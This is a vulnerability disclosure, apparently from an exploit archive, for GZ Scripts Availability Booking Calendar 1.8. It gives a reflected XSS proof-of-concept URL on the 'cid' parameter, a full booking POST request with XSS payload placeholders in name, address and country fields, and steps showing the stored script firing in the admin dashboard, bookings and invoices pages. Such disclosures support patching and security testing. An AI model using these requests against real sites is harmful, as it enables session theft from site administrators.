┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                  [ Vulnerability ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : https://gzscripts.com/availability-booking-calendar-php.html               │
│  Vendor   : GZ Scripts                                                                 │
│  Software : Availability Booking Calendar 1.8                                          │
│  Vuln Type: Reflected XSS - Stored XSS                                                 │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│                                                                                        │
│  Reflected XSS                                                                         │
│                                                                                        │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
│                                                                                        │
│  Stored XSS                                                                            │
│                                                                                        │
│  Allow Attacker to inject malicious code into website, give ability to steal sensitive │
│  information, manipulate data, and launch additional attacks.                          │
│                                                                                        │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  
       
	CryptoJob (Twitter) twitter.com/0x0CryptoJob
	   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2023                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘


Path: /load.php

GET 'cid' parameter is vulnerable to RXSS

https://website/load.php?controller=GzFront&action=calendar&cid=1vqvby%22%3e%3cscript%3ealert(1)%3c%2fscript%3eg6vt7wmumdm&view_month=1&cal_id=1&month=7&year=2023



## Stored XSS

-----------------------------------------------
POST /AvailabilityBookingCalendarPHP/load.php?controller=GzFront&action=checkout&cid=1 HTTP/1.1


date_range=03.07.2023+-+04.07.2023&abadults=&abchildren=&adults=1&children=1&promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=000&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=yyy&state=sss&zip=00000&country=LEB&terms=1&start_date=1688342400&end_date=1688428800&cal_id=1&calendar_id=1&from_date=1688342400&to_date=1688428800&payment_method=pay_arrival&create_booking=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Choose any Day Colored by Green on the Calendar
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Address Line 1"
5. Inject your [XSS Payload] in "Country"
6. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser

7. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
   XSS Will Fire and Executed on his Browser

8. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
   XSS Will Fire and Executed on his Browser
   
9. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
   XSS Will Fire and Executed on his Browser
   
   
[-] Done